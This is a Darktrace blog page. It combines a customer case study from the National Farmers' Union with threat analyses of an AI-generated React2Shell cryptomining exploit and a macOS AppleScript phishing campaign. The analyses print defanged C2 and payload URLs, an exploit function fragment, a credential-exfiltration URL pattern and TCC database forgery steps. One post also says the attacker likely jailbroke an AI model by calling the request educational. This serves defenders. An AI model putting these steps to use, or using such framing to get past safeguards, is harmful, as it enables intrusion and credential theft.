Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Narinder Bains
Infrastructure Manager, National Farmers' Union (Guest Contributor)
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12
Sep 2022
The National Farmers' Union (NFU) is the largest farmers’ organization in England and Wales, representing more than 46,000 farming businesses and over 80,000 members. We champion farmers across the country and represent them in Europe, negotiating with governments and other organizations from our Brussels office.
Despite the wide scope of our operations, our IT team consists of only 15 individuals. Because of this, we began looking for a security solution which could bolster our small team and its capacity to monitor our organization without complicating our security efforts.
Revealing NFU’s Environment with AI
We were satisfied that our firewalls and other older security tools were doing all that they could to protect our perimeter security. These tools could be working perfectly, but we would still lack the ability to know whether attacks were unfolding under the radar within our network. In other words, we needed visibility when there were already hackers inside.
Even with the best perimeter protection we could buy, this remained a blind spot, and the numerous high-profile stories in the news regarding successful ransomware attacks over last few years left the team increasingly on edge.
We also knew that attackers weren’t just probing in one area – we needed coverage over our entire digital estate, including our endpoint devices and Microsoft 365 activity. These were the areas that were the most difficult to get visibility over, but also the newest parts of our digital estate and the most vulnerable to attacks.
When we were introduced to Darktrace, we quickly saw its potential: the visibility it gave us across our digital estate was unparalleled, and its Autonomous Response technology was something we knew could be a huge benefit for NFU.
Previously, we’d lost hours sifting through data in an attempt to respond to attacks, and that’s only after dealing with numerous emails and false positives from our old security solutions. Once Darktrace was implemented, it covered everything, allowing us to view our entire organization from a single platform, and it dealt with threats 24/7 without requiring any input from us.
Taking action on a pre-infected endpoint
NFU’s adoption of hybrid working brought the importance of endpoint security to the forefront of our team’s minds. The dispersion of company devices across the country made it harder than ever for the team to monitor logs with their existing manpower, and we were constantly worried that an employee at home – whether or not they were connected to the company VPN – might inadvertently open us up to an attack like ransomware.
Because it bases its detection on an understanding of the digital estate’s ‘normal’ behaviors, we hadn’t expected that Darktrace would be able to spot threats in pre-infected environments. As soon as we deployed Darktrace/Endpoint, however, it spotted a user trying to make root level changes to one of our servers from a company laptop without permission, and immediately blocked the activity while allowing the user to continue legitimate business operations. Its ability to differentiate between benign and risky activity was impressive.
A straightforward threat summary delivered to our security team allowed us to understand the situation quickly and easily. Seeing this technology not only spotting dangerous activity, but quickly taking the necessary steps to stop it and strengthen our security posture in its wake, has really given us that extra peace of mind.
Enhancing existing tools with AI
Adding something to your security stack can often mean taking one step forward and two steps back, as the incorporation of a new solution can damage the ability of an old one. For example, creating two VPNs: while it seems like it might provide greater security, the two networks often disrupt one another and only make protection more difficult.
Darktrace, however, augments existing endpoint solutions, utilizing the data they gather in its investigations. By implementing the technology, we weren’t replacing our existing security tools but enhancing them. The way we see it, the greater the depth and breadth of information we feed into Darktrace’s AI, the greater its understanding and the better its decision-making; ultimately, the better it can protect our organization.
In addition to our endpoint devices, Darktrace now works across our Microsoft 365 environments and the network. It uses data from all three areas to draw conclusions about emerging threats and can take action against attacks wherever and whenever they emerge in the digital environment. Knowing this allows us to finally feel confident in our security posture, and to focus our efforts on the rest of our business operations.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Narinder Bains
Infrastructure Manager, National Farmers' Union (Guest Contributor)
ClearFake: From Fake CAPTCHAs to Blockchain-Driven Payload Retrieval
Darktrace detected a potential ClearFake‑related incident involving signs of EtherHiding activity and interactions with blockchain‑based infrastructure. A single device showed repeated suspicious command‑line behavior, primarily involving Microsoft HTML Application Host. The activity occurred over the course of a day and indicated early‑stage attempts to load malicious content associated with the ClearFake campaign.
AI/LLM-Generated Malware Used to Exploit React2Shell
Introduction
To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.
A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.
Initial access
The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.
The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.
Figure 1: Container spawned with the name ‘python-metrics-collector’.
Subsequently, it will download a list of required python packages from
hxxps://pastebin[.]com/raw/Cce6tjHM,
Finally it will download and run a python script from:
hxxps://smplu[.]link/dockerzero.
This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.
Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.
Deployed components and execution chain
The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.
The script begins with a multi-line comment: """ Network Scanner with Exploitation Framework Educational/Research Purpose Only Docker-compatible: No external dependencies except requests """
This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample. Further, AI will refuse to generate malware as part of its safeguards.
The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.
When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.
The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:
A deliberately structured Next.js server component payload
A chunk designed to force an exception and reveal command output
A child process invocation to run arbitrary shell commands
def execute_rce_command(base_url, command, timeout=120): """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE DO NOT MODIFY THIS FUNCTION Returns: (success, output) """ try: # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)
This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.
Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.
Figure 3: The supportxmr mining pool overview for the attackers wallet address
Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.
Conclusion
While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.
CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.
Analyst commentary
It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.
Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)
AppleScript Abuse: Unpacking a macOS Phishing Campaign
Introduction
Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.
The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.
Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].
Technical analysis
The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.
Figure 1: The AppleScript header prompting execution of the script.
Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.
Figure 2: Curl request to receive the next stage.
This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.
The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].
Figure 3: Fake dialog prompt for system password.
The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.
Figure 4: Requirements gathered on trusted binary.
Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, ScriptEditor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]
To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.
After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:
Full disk access
Screen recording
Accessibility
Camera
Apple Events
Input monitoring
The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.
Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.
Figure 7: Snippet of decoded Base64 response.
A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:
/controller.php?req=instd
/controller.php?req=tell
/controller.php?req=skip
These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.
Figure 8: LaunchAgent patterns to be replaced with victim information.
The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.
Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.
Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met. However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.
Conclusion
This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.
Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections. These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.
Credit to Tara Gould (Malware Research Lead) Edited by Ryan Traill (Analyst Content Lead)
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